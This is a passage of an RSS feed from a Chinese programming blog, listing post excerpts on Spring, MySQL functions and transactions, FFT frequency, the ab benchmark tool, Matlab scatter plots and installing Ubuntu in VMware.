int main(){ int a; int b; int n; double result; int x; int mul; scanf(&#34;</description>
    </item>
    <item>
      <title>springboot文件上传和访问</title>
      <link>https://bchobby.github.io/posts/65421c5511a8b2ac79fad5fdb211b7b3/</link>
      <pubDate>Sat, 23 Jan 2021 22:00:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65421c5511a8b2ac79fad5fdb211b7b3/</guid>
      <description>springboot文件上传和访问 一：文件上传需要的类MultipartFile（任意选择下面一种） 有两种jar包中有这个类:&#xA;（1）第三方的包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;commons-io&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-io&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;commons-fileupload&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-fileupload&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; （2）或者用springboot自己的包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 二：保存文件，保存路径 @PostMapping(&#34;/admin/adminUserUpdateInfo&#34;) public String adminUserUpdateInfo( String username, String trueName, String gender, String qq, String wechat, String signature,//signature个人信息 @RequestParam(&#34;filename&#34;) MultipartFile file) { //管理员用户的原始头像url User user = userService.queryAdminUser(); String realPath = user.getAvatarImgUrl();//放入数据库的真实地址 以便前端使用 /* 上传头像图片到静态资源文件夹中 */ if (!file.isEmpty()) { //获取文件名 String fileName = file.getOriginalFilename(); // 获取文件的后缀名 String suffixName = fileName.substring(fileName.lastIndexOf(&#34;.&#34;)); // 文件上传路径 String filePath = System.</description>
    </item>
    <item>
      <title>【C】cannot convert ‘＜brace-enclosed initializer list＞‘ to ‘int‘ in assignment</title>
      <link>https://bchobby.github.io/posts/655e0f7342661955142bf331a3bfed80/</link>
      <pubDate>Sat, 23 Jan 2021 21:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/655e0f7342661955142bf331a3bfed80/</guid>
      <description> 转载：https://blog.csdn.net/modi000/article/details/108180978&#xA;原因：数组定义与初始化分开时，只能进行单个元素的赋值，而不能进行统一赋值。 </description>
    </item>
    <item>
      <title>白话-设计模式</title>
      <link>https://bchobby.github.io/posts/bc7bd06edafcfc2ada83338b3d5412ce/</link>
      <pubDate>Fri, 22 Jan 2021 19:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc7bd06edafcfc2ada83338b3d5412ce/</guid>
      <description>------------------- 23种设计模式分类 ---------------------- 创建型模式 (共5种)：工厂方法模式 抽象工厂模式 建造者模式 单例模式 原型模式结构型模式 (共7种)：适配器模式 桥接模式 ；装饰器模式 代理模式 ； 组合模式 外观模式 享元模式行为型模式 (共11种)：策略模式 模板方法模式 责任链模式 观察者模式 迭代子模式 命令模式 状态模式 备忘录模式 访问者模式 中介者模式 解释器模式 ------------------- 创建型 ---------------------- 简单工厂模式(静态工厂模式) ：用一个专业类（工厂类）来负责一种产品的对象创建。它不属于23种设计模式之一，但它是工厂模式的基础。（多工厂模式）&#xA;工厂方法模式：将工厂类抽象出一个接口，对象的创建方法延迟到工厂子类去实现。每一种产品都对应一个工厂子类。当新增一个产品类型时，新加对应的工厂子类即可，不再需要修改既有类。&#xA;抽象工厂模式：当一个类别的产品还有多个系列区分时，按系列生产商品。&#xA;建造者模式：当对象的创建比较复杂时，按步骤一块块创建，让创建过程模板化。&#xA;原型模式：通过拷贝原型对象来创建新的对象 （克隆）&#xA;注意：1 通过实现Cloneable 接口的原型模式在调用clone函数构造实例时并不一定比通过new 操作速度快，只有当通过new 构造函数 创建对象耗时时, clone 方式才能获得效率上的提升。&#xA;2 通过clone 拷贝对象时，不会再执行构造方法，一些在构造函数需要初始化的对象使用clone 拷贝需要注意&#xA;3 数值拷贝没有深浅拷贝之分，引用类型默认使用浅拷贝（影子拷贝），对于集合类型 一定要使用深拷贝。&#xA;开发中，也建议使用深拷贝，避免操作副本时影响原始对象。&#xA;------------------- 结构型 ---------------------- 适配器模式 已知两个不兼容的对象，将它们融合在一起。适配器模式把一个类的接口变换成客户端需要的另一种接口，从而使因接口不匹配而无法在一起工作的类能够在一起工作。&#xA;使用场景：&#xA;Android:ListView Adapter&#xA;桥接模式 定义：将两个维度变化的功能组合起来，目的是两个维度独立变化。&#xA;主要维度，附属维度，再将附属维度接口注入到主要维度所在对象。&#xA;适配器模式和桥接模式异同：&#xA;都是把两个对象组合起来配合工作。桥接模式的目标是分离，适配器模式的目标是合并。&#xA;装饰器模式（包装模式） 定义：不影响主流程的前提下，某个环节动态地给一个对象增加一些额外的职责。</description>
    </item>
    <item>
      <title>FFT（快速傅里叶变换）中频率和实际频率的关系</title>
      <link>https://bchobby.github.io/posts/7e011b88373ccb72f33079601f913079/</link>
      <pubDate>Fri, 22 Jan 2021 17:01:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e011b88373ccb72f33079601f913079/</guid>
      <description>一 四个名词：实际物理频率，角频率，圆周频率，归一化频率，数字频率，模拟频率&#xA;1、实际物理频率表示AD采集物理信号的频率，fs为采样频率，由奈奎斯特采样定理可以知道，fs必须≥信号最高频率的2倍才不会发生信号混叠，因此fs能采样到的信号最高频率为fs/2。&#xA;2、角频率是物理频率的2*pi倍，这个也称模拟频率。（注：由于一个信号周期（如交流电）是360度，即2pi。故角频率就是转了多少个2pi。设置角频率纯粹为了便于计算。）&#xA;3、归一化频率是将实际物理频率按fs归一化之后的结果，最高的信号频率为fs/2对应归一化频率0.5，这也就是为什么在matlab的fdtool工具中归一化频率为什么最大只到0.5的原因。&#xA;4、圆周频率是归一化频率的2*pi倍，这个也称数字频率。也就是归一化的角频率。&#xA;5、数字频率： w = Ω/fs; 其中w 为数字频率，Ω是模拟角频率，模拟信号：x = sin(Ωt)=sin(2πft); x(t)=sin(ΩnT)；T为采样周期，x(n) = sin(wn); 总结：Ω--------模拟角频率，f--------------模拟频率，w-------------数字角频率， w/2π = f/fs; fs&amp;gt;= 2f 所以w&amp;lt;= π；&#xA;二 有关FFT频率与实际物理频率的分析&#xA;做n个点的FFT，表示在时域上对原来的信号取了n个点来做频谱分析，n点FFT变换的结果仍为n个点。&#xA;换句话说，就是将2pi数字频率w分成n份，而整个数字频率w的范围覆盖了从0-2pi*fs的模拟频率范围。这里的fs是采样频率。而我们通常只关心0-pi中的频谱，因为根据奈科斯特定律，只有f=fs/2范围内的信号才是被采样到的有效信号。那么，在w的范围内，得到的频谱肯定是关于n/2对称的。&#xA;举例说，如果做了16个点的FFT分析，你原来的模拟信号的最高频率f=32kHz，采样频率是64kHz，n的范围是0,1,2...15。（注：这意味着已经将原来的模拟信号采样了8遍。）这时，64kHz的模拟频率被分成了16分，每一份是4kHz，这个叫频率分辨率（注：做FFT用的点越多，频率分辨率越高）。那么在横坐标中，n=1时对应的f是4kHz, n=2对应的是8kHz, n=15时对应的是60kHz，你的频谱是关于n=8对称的。你只需要关心n=0到7以内的频谱就足够了，因为，原来信号的最高模拟频率是32kHz。&#xA;这里可以有两个结论。&#xA;· 第一，必须知道原来信号的采样频率fs是多少，才可以知道每个n对应的实际频率是多少，第k个点的实际频率的计算为f(k)=k*(fs/n)&#xA;·第二，你64kHz做了16个点FFT之后，因为频率分辨率是4kHz，如果原来的信号在5kHz或者63kHz有分量，你在频谱上是看不见的，这就表示你越想频谱画得逼真，就必须取越多的点数来做FFT，n就越大，你在时域上就必须取更长的信号样本来做分析。但是无论如何，由于离散采样的原理，你不可能完全准确地画出原来连续时间信号的真实频谱，只能无限接近（就是n无限大的时候），这个就叫做频率泄露。在采样频率fs不变得情况下，频率泄漏可以通过取更多的点来改善，也可以通过做FFT前加窗来改善，这就是另外一个话题了。&#xA;三 离散信号傅里叶变换的周期性讨论&#xA;（从下图可以看出：S平面，相当于直角坐标系，它的实轴是复数的实部，虚轴是复数的虚部。在这里可以理解为信号的在此频率下的幅值；Z平面，相当于极坐标系，与Re轴的夹角相当于频率，向量长度相当于幅值。）&#xA;要分析这个，我们先从Laplace变换与Z变换之间的关系谈起。&#xA;由，得z平面与s平面的关系图&#xA;图中的关系有以下几点：&#xA;· s平面的虚轴映射到z平面的单位圆上&#xA;·s平面的负半轴映射到z平面的单位圆内&#xA;·s平面的正半轴映射到z平面的单位圆外&#xA;Laplace变换是用于连续信号的变换，相对应的z变换是应用到z平面的变换。因此从另一个角度，上面谈到的角频率（模拟频率）对应的是s平面，圆周频率对应的是z平面（也是为什么称为圆周频率的原因）。&#xA;现在我们来看一下s平面虚轴上模拟频率的变换将会导致z平面单位圆上如何变化：&#xA;·当模拟频率在s平面的虚轴上从0变到fs 时，数字频率在z平面单位圆上从0变到2 pi。&#xA;·当模拟频率在s平面的虚轴上从2fs变到4fs时，数字频率在z平面单位圆上仍然从0变到2 pi。&#xA;。。。。。。z平面如此循环重复&#xA;我们知道离散信号的傅里叶变换对应到单位圆上的z变换，因此上面的结论就验证了为什么离散信号的傅里叶变换是周期性：根本原因所是单位圆上的周期性。&#xA;考虑到我们实际应用中可选择一个周期，这也能够解释：因为实际信号的频率总是在fs/2以下，这就对应到z平面单位圆上的0~pi，在一个周期范围内就可以进行信号分析了。&#xA;原文博主真的厉害，把这个将的很清楚，原文连接 https://www.sohu.com/a/122159699_464086</description>
    </item>
    <item>
      <title>ab 命令的安装和使用</title>
      <link>https://bchobby.github.io/posts/cc4559b477900cfb9d11f8bd38dd7d01/</link>
      <pubDate>Thu, 21 Jan 2021 18:54:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc4559b477900cfb9d11f8bd38dd7d01/</guid>
      <description>https://www.cnblogs.com/terryguan/p/6681055.html&#xA;https://www.cnblogs.com/php12-cn/p/8472154.html&#xA;https://www.cnblogs.com/zfying/archive/2012/06/29/2570030.html&#xA;安装 ab运行需要依赖apr-util包，安装命令为：&#xA;yum install apr-util 安装依赖 yum-utils中的yumdownload 工具&#xA;如果没有找到 yumdownload 命令可以&#xA;yum install yum-utils 或者：yum install httpd-tools 安装完成后执行以下指令&#xA;cd /opt mkdir abtmp cd abtmp yum install yum-utils.noarch yumdownloader httpd-tools* rpm2cpio httpd-*.rpm | cpio -idmv 解开后就能得到独立的 ab可执行文件了。&#xA;操作完成后 将会产生一个 usr 目录 ab文件就在这个usr 目录中&#xA;上述命令成功后，可以在abtmp下的usr/bin中看到一个名为ab的文件，复制到系统PATH下就大功告成&#xA;查看系统path&#xA;echo $PATH 移动文件：&#xA;cp aaa bbb 最基本的关心两个选项 -c -n ./ab -c 100 -n 10000 http://127.0.0.1/index.php -c 100 即：每次并发100个&#xA;-n 10000 即： 共发送10000个请求</description>
    </item>
    <item>
      <title>Spring的依赖注入的几种方式（1）</title>
      <link>https://bchobby.github.io/posts/c896895c5f4307b4ddd1b2f430655f0d/</link>
      <pubDate>Thu, 21 Jan 2021 15:12:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c896895c5f4307b4ddd1b2f430655f0d/</guid>
      <description>开发工具与关键技术：eclipse&#xA;作者：Mr_恺&#xA;撰写时间：2021.01.8&#xA;DI（依赖注入） 组件之间的依赖关系由容器在应用系统运行期来决定， 也就是由容器动态地将某种依 赖关系的目标对象实例注入到应用系统中的各个关联的组件之中。&#xA;Spring的依赖注入的方式：只有3种（我们这里只涉及两种）&#xA;第一种方式：通过构造函数注入&#xA;第二种方式：通过set方法注入&#xA;注入的内容：&#xA;第一类：基本类型和String类型&#xA;第二类：其他的bean类型&#xA;第三类：复杂类型（集合类型），不做演示&#xA;创建一个java项目，把用到的包和类创建好:&#xA;1、 构造函数注入用到的实现类&#xA;set方法注入用到的实现类 把Spring的jar包引进来：&#xA;创建一个xml文件并命名为bean.xml,导入Spring的约束&#xA;&amp;lt;!-- 导入spring的约束spring的IoC约束：beans--&amp;gt;&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;&#xA;xmlns:p=&#34;http://www.springframework.org/schema/p&#34;&#xA;xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&#xA;xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans&#xA;http://www.springframework.org/schema/beans/spring-beans.xsd&#34;&amp;gt;&#xA;第一种使用构造函数注入&#xA;涉及标签：&#xA;constructor-arg 该标签是写在bean标签内部的子标签&#xA;标签的属性：&#xA;type：指定注入的参数在构造函数中的类型&#xA;index:指定要注入的参数在构造函数的索引位置 name:指定参数在构造函数的中的名称&#xA;value:指定注入的数据内容，他只能指定基本类型数据和String类型数据&#xA;ref:指定其他bean类型数据。写的是其他bean的id。其他bean指的是存在于spring容器中的bean.&#xA;&amp;lt;bean id=&#34;accountService&#34;&#xA;class=&#34;com.itheima.service.impl.AccountServiceImpl&#34;&amp;gt;&#xA;&amp;lt;constructor-arg name=&#34;name&#34; value=&#34;凯哥&#34;&amp;gt;&amp;lt;/constructor-arg&amp;gt;&#xA;&amp;lt;constructor-arg name=&#34;age&#34; value=&#34;18&#34;&amp;gt;&amp;lt;/constructor-arg&amp;gt;&#xA;&amp;lt;constructor-arg name=&#34;birthday&#34; ref=&#34;now&#34;&amp;gt;&amp;lt;/constructor-arg&amp;gt;&#xA;&amp;lt;/bean&amp;gt;&#xA;&amp;lt;bean id=&#34;now&#34; class=&#34;java.util.Date&#34;&amp;gt;&amp;lt;/bean&amp;gt;&#xA;第二种使用set方法注入 最常用 涉及标签：&#xA;property 该标签是写在bean标签内部的子标签&#xA;标签的属性： name:指定的是set方法的名称。匹配的是类中set后面的部分&#xA;value:指定注入的数据内容，他只能指定基本类型数据和String类型数据&#xA;ref:指定其他bean类型数据。写的是其他bean的id。其他bean指的是存在于spring容器中的bean&#xA;&amp;lt;bean id=&#34;accountService2&#34;&#xA;class=&#34;com.itheima.service.impl.AccountServiceImpl2&#34;&amp;gt;&#xA;&amp;lt;property name=&#34;name&#34; value=&#34;55&#34;&amp;gt;&amp;lt;/property&amp;gt;</description>
    </item>
    <item>
      <title>Spring三种创建Bean对象的方法</title>
      <link>https://bchobby.github.io/posts/210d1034725e70f26714ef981020fd51/</link>
      <pubDate>Thu, 21 Jan 2021 15:03:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/210d1034725e70f26714ef981020fd51/</guid>
      <description>开发工具与关键技术：eclipse&#xA;作者：Mr_恺&#xA;撰写时间：2021.12.28&#xA;我们用eclipse创建一个java项目，把那些包创建好:&#xA;dao包下的接口和实现类：&#xA;service包下的接口和实现类：&#xA;把Spring的jar包引进来：&#xA;创建一个xml文件并命名为bean.xml,导入Spring的约束&#xA;&amp;lt;!-- 导入spring的约束spring的IoC约束：beans--&amp;gt;&#xA;&amp;lt;beans xmlns=&#34;http://www.springframework.org/schema/beans&#34;&#xA;xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34;&#xA;xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans&#xA;http://www.springframework.org/schema/beans/spring-beans.xsd&#34;&amp;gt;&#xA;bean标签： 作用：用于让spring帮我们读取配置后创建对象&#xA;属性：&#xA;id：对象的唯一标识&#xA;Class:要创建对象的全限定类名&#xA;factory-method:指定创建bean对象方法。该方法可以是静态时，也可以不是。&#xA;factory-bean:指定创建bean对象的工厂bean的id。&#xA;bean对象的三种创建方式：&#xA;第一种：通过调用构造函数来创建bean对象。 常用&#xA;在默认情况下，当我们在spring的配置文件中写了一个bean标签，并提供了Class属性spring就会调用默认构造函数创建对象。&#xA;如果没有默认构造函数，则对象创建失败。 &amp;lt;!-- 默认构造函数创建 --&amp;gt;&#xA;&amp;lt;bean id=&#34;accountService&#34;class=&#34;com.itheima.service.impl.AccountServiceImpl&#34; scope=&#34;singleton&#34; init-method=&#34;init&#34; destroy-method=&#34;destroy&#34;&amp;gt;&#xA;&amp;lt;/bean&amp;gt;&#xA;第二种：通过静态工厂创建bean对象。&#xA;工厂类中提供一个静态方法可以返回要用的bean对象&#xA;要创建一个类模拟一个静态工厂：&#xA;&amp;lt;!-- 静态工厂创建 --&amp;gt;&#xA;&amp;lt;bean id=&#34;staticAccountService&#34;class=&#34;com.itheima.factory.StaticBeanFactory&#34; factory-method=&#34;getBean&#34;&amp;gt;&#xA;&amp;lt;/bean&amp;gt;&#xA;要创建一个类模拟一个实例工厂：&#xA;第三种： 通过实例工厂创建bean对象&#xA;工厂类中提供普通方法可以返回要用的bean对象&#xA;&amp;lt;!-- 实例化工厂创建 --&amp;gt;&#xA;&amp;lt;bean id=&#34;fff&#34; class=&#34;com.itheima.factory.InstanceBeanFactory&#34;&amp;gt;&amp;lt;/bean&amp;gt;&#xA;&amp;lt;bean id=&#34;dfd&#34; factory-bean=&#34;fff&#34; factory-method=&#34;getBean&#34;&amp;gt;&amp;lt;/bean&amp;gt;&#xA;创建一个类模拟表现层运行，根据bean的id获取对象：&#xA;运行结果：</description>
    </item>
    <item>
      <title>Matlab绘图（二）—变色散点图二维、三维绘制</title>
      <link>https://bchobby.github.io/posts/6f662f81ce5cb9c7e7009b27c6f296a1/</link>
      <pubDate>Thu, 21 Jan 2021 13:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f662f81ce5cb9c7e7009b27c6f296a1/</guid>
      <description>Matlab绘图（二）—散点图绘制 前言二维散点图scatter函数gscatterr函数思考 三维散点图scatter3函数 前言 总结一下最近针对散点图的绘制学习到的scatter与gscatter函数以及当我们需要绘制散点图，并按照一定的规律对这些二维散点进行分类，分类结果用颜色来进行区分时，自己的一些想法。&#xA;二维散点图 scatter函数 scatter - 散点图&#xA;此 MATLAB 函数 在向量 x 和 y 指定的位置创建一个包含圆形的散点图。该类型的图形也称为气泡图。 scatter(x,y) x数据 y数据 scatter(x,y,sz) sz是圆圈的大小 可以用矩阵来设置对应x y点的圆圈大小 scatter(x,y,sz,c) c控制颜色，其颜色可直接赋值 r、 g 、k、 b等，也可以用矩阵来设置对应x、y点对应圆圈的颜色分布 scatter(___,&#39;filled&#39;) 颜色填充 scatter(___,mkr) scatter(___,Name,Value) scatter(ax,___) s = scatter(___) gscatterr函数 gscatter - Scatter plot by group&#xA;This MATLAB function creates a scatter plot of x and y, grouped by group. gscatter(x,y,group) x y是对应的坐标数据，group是数据的分类矩阵 gscatter(x,y,group,clr,sym,siz) gscatter(x,y,group,clr,sym,siz,doleg) gscatter(x,y,group,clr,sym,siz,doleg,xnam,ynam) h = gscatter(...) 关于这两个函数的详细用法，大家可以直接help scatter、help gscatterr</description>
    </item>
    <item>
      <title>mysql数据库函数详解_MySQL数据库之字符函数详解</title>
      <link>https://bchobby.github.io/posts/b55f4e4d6d52aafaf7deaea34df82c9c/</link>
      <pubDate>Thu, 21 Jan 2021 09:38:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b55f4e4d6d52aafaf7deaea34df82c9c/</guid>
      <description>MySQL数据库中的函数根据功能可以划分为字符函数、数值运算符与函数、比较运算符与函数、日期时间函数、信息函数、聚合函数、加密函数以及自定义函数等。&#xA;1.CONCAT()&#xA;CONCAT()函数用于字符连接，如下图所示：&#xA;2.CONCAT()函数也可用于将一个数据表中的两个字段的所有记录进行字符连接，如下图所示：&#xA;3.CONCAT_WS()&#xA;CONCAT_WS()函数使用指定的分隔符进行字符连接，该函数的第一个参数是指定分隔符，如下图所示：&#xA;4.FORMAT()&#xA;FORMAT()函数主要用于数字格式化，最终返回一个字符型数字。第一个参数为待格式化的数字，第二个参数为要保留的小数位数，如下图所示：&#xA;5.LOWER()&#xA;LOWER()函数将字符转换成大写字母。&#xA;6.UPPER()&#xA;UPPER()函数将字符转换成小写字母，如下图所示：&#xA;7.LEFT()&#xA;LEFT()函数用于获取左侧字符。&#xA;8.RIGHT()&#xA;RIGHT()函数用于获取右侧字符，如下图所示：&#xA;9.LENGTH()&#xA;LENGTH()函数用于获取字符串长度，如下图所示：&#xA;10.LTRIM()&#xA;LTRIM()函数用于删除前导空格。&#xA;11.RTRIM()&#xA;RTRIM()函数用于删除后续空格。&#xA;12.TRIM()&#xA;TRIM()函数用于删除前导和后续空格，如下图所示：&#xA;13.REPLACE()&#xA;REPLACE()函数用于字符串替换，如下图所示：&#xA;14.SUBSTRING()&#xA;SUBSTRING()函数用于字符串截取，第一个参数是开始截取的起始位置，第二个参数是截取的字符数目&#xA;[注意]这里是从1开始计数的，而不是从0开始的，如下图所示：&#xA;15.如果省略第二个参数，则一直截取到字符串的结尾，如下图所示：&#xA;16.[NOT] LIKE&#xA;[NOT] LIKE用于模式匹配，其中%代表0个或多个字符，_代表任意1个字符。返回1表示匹配，0表示不匹配，如下图所示：</description>
    </item>
    <item>
      <title>mysql repeated read_mysql事务之可重复读(Repeated Read)</title>
      <link>https://bchobby.github.io/posts/990f527b84b39e674a157c357cc4590f/</link>
      <pubDate>Thu, 21 Jan 2021 02:24:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/990f527b84b39e674a157c357cc4590f/</guid>
      <description>1，Repeated Read&#xA;在可重复读(REPEATABLE READS)隔离级别中，基于锁机制并发控制的DBMS需要对选定对象的读锁(read locks)和写锁(write locks)一直保持到事务结束，但不要求“范围锁(range-locks)”，因此可能会发生“幻影读(phantom reads)”&#xA;在该事务级别下，保证同一个事务从开始到结束获取到的数据一致。这是Mysql的默认事务级别。&#xA;设置我们的数据库事务为该级别。&#xA;SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;SET GLOBAL TRANSACTION ISOLATION LEVEL REPEATABLE READ;&#xA;2，场景&#xA;开启事务1，在我们数据库中对student表修改，事务不提交。&#xA;start TRANSACTION;&#xA;select * from student;&#xA;update student set name = &#39;a2&#39; where id = 1;&#xA;select * from student;&#xA;开启事务2，查询student表数据，事务不提交&#xA;start TRANSACTION;select * from student;&#xA;提交事务1。&#xA;start TRANSACTION;&#xA;select * from student;&#xA;update student set name = &#39;a2&#39; where id = 1;&#xA;select * from student;</description>
    </item>
    <item>
      <title>mysql dba 之路_Mysql DBA修炼之路</title>
      <link>https://bchobby.github.io/posts/da2ba9f12e4ba0ea5980b88b9857c784/</link>
      <pubDate>Thu, 21 Jan 2021 01:01:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da2ba9f12e4ba0ea5980b88b9857c784/</guid>
      <description>通过本章学习您可以对Mysql的背景及发展史有所了解&#xA;通过本章的学习,您可以独立完成Mysql5.6 5.7 8.0版本安装,密码重置&#xA;通过本章学习,您可以独立完成Mysql用户管理及权限控制&#xA;通过本章学习,您可独立完成SQL函数使用,压力测试报告,连接故障解决&#xA;本章我们了解mysql库的诞生、数据库的创建、删除，数据库常用信息查询，数据表的基础设计和结构更新，这些东西很基础，但是非常贴合日常工作&#xA;本章着重讲解mysql系统体系运行流畅，理论性地讲解数据库引擎、文件系统，为了是让大家对mysql有个系统且基础的认识&#xA;今天直接从数据库事务开始，讲解引擎、事务、索引、sql的关系&#xA;本章节主要学习Mysql数据库的数据导出导入备份等相关内容，通过本章节的学习，可以完成一些基础的数据库的备份以及数据导出分析工作。&#xA;通过本篇的学习，我们可以深入了解到MySQLdump备份的基本原理与实际操作，另外包括我们备份的方法的选择以及我们线上备份时应该如何考虑等等。希望大家可以多多练习如有问题的话，可以通过微信群进行交流。&#xA;本章我们对mysql多线程备份工具mydumper工具包进行了讲解，较为系统的总结了日常工作中，工具的来源，安装，备份，恢复以及备份的全库，单库，单表的情况，工具用法看起相对是简单的，能掌握基础备份恢复使用方法即可，重点希望大家能深入理解一下工具的实现原理，从而对数据备份有个系统且全面的认识&#xA;本章着重讲解了Xtrabackup工具备份数据库的方法，主要掌握xtrabackup工具全库备份，增量备份恢复的用法，希望大家多多练习，可以熟练的使用这些备份工具，备份是保障数据安全的重要手段之一。&#xA;本章主要讲究了mysql二进制日志的定义与作用，常用的日志格式：statement，row，mixed，几种格式的异同等，其中需要掌握的内容有，含义，有缺点，binlog配置方法，定时删除binlog日志的设置即可，理论偏多实践偏少，大家对概念性的东西能区分清楚即可&#xA;本章节主要讲解mysqlbinlog，以及binlog文件内容，要求必须掌握，必须掌握，必须掌握，DBA的必备技能哈&#xA;本章给大家介绍数据回滚工具binlog2sql，大家安装好以后，重点掌握基础用与生产案例，其他内容了解即可；&#xA;主从复制是一个老生常谈的问题，小事小视，要求能掌握主从搭建模型，手画主从同步过程图，主从过程1234步，主从同步模式分别含义，这是一个DBA必须掌握的技能&#xA;本章主要对工作可能会遇到的一些主从同步问题进行了总结，总体来说比较粗，要求大家重点掌握1062和1032报错问题的解决思路，手动模拟一下，尽量避免出现1045、1146错误&#xA;本章主要讲解生产中主从切换的案例,从实际生产情况下考虑，要求必须手动主从切换，一主多从主从切换，主从切换DBA必备技能之一，也是大概率会遇到的问题，希望大家实践然后手动画图，将流程梳理清晰&#xA;本章讲解了MM+keepalived的搭建过程，内容有点长，如果搭建熟练的同学发现其实是看着内容较多，本质上是主从搭建+配置keeplived虚拟vip，主要多花时间掌握keeplived，虽然这个框架已经非常out了，在生产环境部署很容易导致数据延迟的问题，但是相对来说很简单经典&#xA;本章是中间件的开篇之作，主要目的在于介绍中间件实现分布式数据库集群这一功能，重点掌握mycat的安装，结构和基本配置方法，了解中间件实现的分布式集群的意义，这也是必须掌握技能系列，请到服务器上自行实践一遍&#xA;本章是mycat功能的核心，要求理解数据切分的两种模式，水平分表和垂直分表，掌握分库分表的配置方法，必须掌握系列，come on对着脑图实践一遍&#xA;本章着重讲解了ProxySQL这样一个轻量级的中间件，入门建议大家有时间多了解一些proxysql的相关知识&#xA;MHA(Master High Availability)是一款开源的mysql高可用程序，是目前在MySQL高可用方面是一个相对成熟的解决方案；在MySQL故障切换过程中，MHA能做到在0~30秒之内自动完成数据库的故障切换操作，并且在进行故障切换的过程中，MHA能在最大程度上保证数据的一致性，以达到真正意义上的高可用。</description>
    </item>
    <item>
      <title>Linux实战001：VMware下安装Ubuntu18.04(服务器版)</title>
      <link>https://bchobby.github.io/posts/750aadbfb76849612b22cbd210bf8ad8/</link>
      <pubDate>Wed, 20 Jan 2021 17:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/750aadbfb76849612b22cbd210bf8ad8/</guid>
      <description>要想做好一个程序员，基本的服务器构架的能力还是需要有的。除了在本地开发，我们还要学会如何去部署我们开发好的系统。由于Linux的开源免费且功能强大，性能卓越。很多企业都会选择将服务部署在Linux系统上，所以我们对Linux也需要有一定的了解这样才能将工作做的更好，这里我比较喜欢Ubuntu版本的Linux。如果你没有其他的电脑来搭建Linux我们可以利用虚拟机安装，如果你电脑配置不高的话可以选择安装服务器版本，这样基本不影响你电脑的运行。&#xA;前期准备 我们需要先下载好系统和VMware虚拟机，系统可以进Ubuntu官网下载你认为合适的版本，我下载的是 ubuntu-18.04.2-live-server-amd64.iso 服务器版本（无图形界面）。VMware虚拟机百度一下就可以找到了，我们找个绿色版本就可以了（安装简单无需激活）。&#xA;VMware新建Ubuntu虚拟机 运行VMware并点击新建虚拟机，在弹出的“新建虚拟机向导”窗口中选择--&amp;gt;自定义（高级）--&amp;gt;硬件兼容这里我默认选了Workstation14.x，下一步选择我们下载好的服务器镜像文件ubuntu-18.04.2-live-server-amd64.iso 。接下来配置下服务器的相关信息，处理器和内存大小可以根据自己电脑性能适当的调整，网络选择NAT其他的都选择推荐即可。&#xA;这里需要注意的是Ubuntu中root用户是保留用户所以用户名不能用root&#xA;安装ubuntu系统 配置号之后VMware会启动虚拟机并加载ubuntu镜像，等加载完成之后便进入了安装Ubuntu界面。首先我们需要选择系统使用的语言，服务器版本没有中文这里我们选择English即可（按键盘Enter键确认选择）。&#xA;Please choose your preferred language。&#xA;Please select your keyboard layout below,or select &#34;Identify keyboard&#34; to detect your layout automatically&#xA;接着要我们选择键盘布局（默认时美式键），我们也可以通过“Identify keyboard”选择来自动检测布局。这里可以保持默认设置，直接回车。&#xA;Welcome to Ubuntu ! The world&#39;s favourite platform for clouds, clusters, and amazing internet things. This is the installer for Ubuntu on servers and internet devices.&#xA;这里我们选择安装【Install Ubuntu】，后面两个是云端服务可以暂时略过。&#xA;Configure at least one interface this server can use to talk to other machines,and which preferably provides sufficient access for updates.</description>
    </item>
    <item>
      <title>mysql插入数据方式有几种_mysql大批量插入数据的4种方法示例</title>
      <link>https://bchobby.github.io/posts/601316d54e27b38814ff5e9090717ce0/</link>
      <pubDate>Wed, 20 Jan 2021 11:50:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/601316d54e27b38814ff5e9090717ce0/</guid>
      <description>前言&#xA;本文主要给大家介绍了关于mysql大批量插入数据的4种方法，分享出来供大家参考学习，下面话不多说了，来一起看看详细的介绍吧&#xA;方法一：循环插入&#xA;这个也是最普通的方式，如果数据量不是很大，可以使用，但是每次都要消耗连接数据库的资源。&#xA;大致思维如下&#xA;(我这里写伪代码，具体编写可以结合自己的业务逻辑或者框架语法编写)&#xA;for($i=1;$i&amp;lt;=100;$i++){&#xA;$sql = &#39;insert...............&#39;;&#xA;//querysql&#xA;}&#xA;foreach($arr as $key =&amp;gt; $value){&#xA;$sql = &#39;insert...............&#39;;&#xA;//querysql&#xA;}&#xA;while($i &amp;lt;= 100){&#xA;$sql = 